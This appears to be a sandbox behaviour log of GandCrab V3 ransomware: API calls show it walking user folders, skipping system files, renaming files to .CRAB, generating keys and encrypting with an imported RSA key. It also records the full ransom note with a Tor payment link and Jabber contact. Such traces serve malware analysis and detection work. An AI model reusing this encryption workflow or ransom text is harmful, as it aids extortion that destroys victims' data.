	[0112.133] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\CRAB-DECRYPT.txt") returned 77
	[0112.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\CRAB-DECRYPT.txt") returned 77
	[0112.133] lstrlenW (lpString=".txt") returned 4
	[0112.133] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.133] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.133] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\CRAB-DECRYPT.txt") returned 77
	[0112.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\CRAB-DECRYPT.txt") returned 77
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.133] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.133] FindNextFileW (in: hFindFile=0xda78f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.133] lstrcmpW (lpString1="Preferences.dat", lpString2=".") returned 1
	[0112.134] lstrcmpW (lpString1="Preferences.dat", lpString2="..") returned 1
	[0112.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="Preferences.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat"
	[0112.134] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.134] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76
	[0112.134] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76
	[0112.134] lstrlenW (lpString=".dat") returned 4
	[0112.134] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.134] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".dat ") returned 5
	[0112.134] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.134] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76
	[0112.134] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="desktop.ini") returned 1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="autorun.inf") returned 1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="ntuser.dat") returned 1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="iconcache.db") returned 1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="bootsect.bak") returned 1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="boot.ini") returned 1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="ntuser.dat.log") returned 1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="thumbs.db") returned -1
	[0112.134] lstrcmpiW (lpString1="Preferences.dat", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.134] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.134] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB") returned 81
	[0112.135] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat")) returned 0x20
	[0112.135] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat", dwFileAttributes=0x20) returned 1
	[0112.136] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat.crab")) returned 1
	[0112.136] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.137] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB"
	[0112.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB.CRAB"
	[0112.137] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e6b0) returned 1
	[0112.137] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.137] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.137] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.137] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.137] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0112.137] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.138] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0112.138] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.138] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.138] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.138] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.138] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.139] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.139] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.139] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0112.139] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7670) returned 1
	[0112.139] CryptGetKeyParam (in: hKey=0xda7670, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.139] CryptEncrypt (in: hKey=0xda7670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.140] GetLastError () returned 0x0
	[0112.140] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0112.140] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e9e0) returned 1
	[0112.140] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7a70) returned 1
	[0112.140] CryptGetKeyParam (in: hKey=0xda7a70, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.140] CryptEncrypt (in: hKey=0xda7a70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.140] GetLastError () returned 0x0
	[0112.140] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.140] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.141] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.141] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.141] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x1440, lpOverlapped=0x0) returned 1
	[0112.161] VirtualAlloc (lpAddress=0x0, dwSize=0x1440, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.162] VirtualAlloc (lpAddress=0x0, dwSize=0x1440, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.162] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.162] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xffffebc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.163] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x1440, lpOverlapped=0x0) returned 1
	[0112.163] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.163] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.167] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.167] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.167] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.167] CloseHandle (hObject=0x3f8) returned 1
	[0112.168] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.168] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.169] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.169] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.169] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.169] FindNextFileW (in: hFindFile=0xda78f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0112.169] FindClose (in: hFindFile=0xda78f0 | out: hFindFile=0xda78f0) returned 1
	[0112.169] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.169] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.169] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\CRAB-DECRYPT.txt"
	[0112.169] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.170] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\CRAB-DECRYPT.txt") returned 72
	[0112.170] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\CRAB-DECRYPT.txt") returned 72
	[0112.170] lstrlenW (lpString=".txt") returned 4
	[0112.170] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.170] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.170] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.170] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\CRAB-DECRYPT.txt") returned 72
	[0112.170] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\CRAB-DECRYPT.txt") returned 72
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.170] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.170] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.170] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.171] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.171] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.171] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1
	[0112.171] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1
	[0112.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook"
	[0112.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\"
	[0112.171] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.171] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.171] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.171] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.171] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.171] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.171] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.171] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.171] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.171] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.171] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.172] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.172] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\\\CRAB-DECRYPT.txt") returned 73
	[0112.172] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.174] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.174] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.174] CloseHandle (hObject=0x3f0) returned 1
	[0112.175] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.175] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned 56
	[0112.175] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*"
	[0112.175] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.175] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.175] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.175] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.175] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.175] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.175] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.175] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.175] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\CRAB-DECRYPT.txt"
	[0112.175] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.176] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\CRAB-DECRYPT.txt") returned 72
	[0112.176] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\CRAB-DECRYPT.txt") returned 72
	[0112.176] lstrlenW (lpString=".txt") returned 4
	[0112.176] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.176] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.176] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.177] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\CRAB-DECRYPT.txt") returned 72
	[0112.177] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\CRAB-DECRYPT.txt") returned 72
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.177] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.177] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.177] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.177] lstrcmpW (lpString1="Outlook.srs", lpString2=".") returned 1
	[0112.177] lstrcmpW (lpString1="Outlook.srs", lpString2="..") returned 1
	[0112.177] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.srs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs"
	[0112.177] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
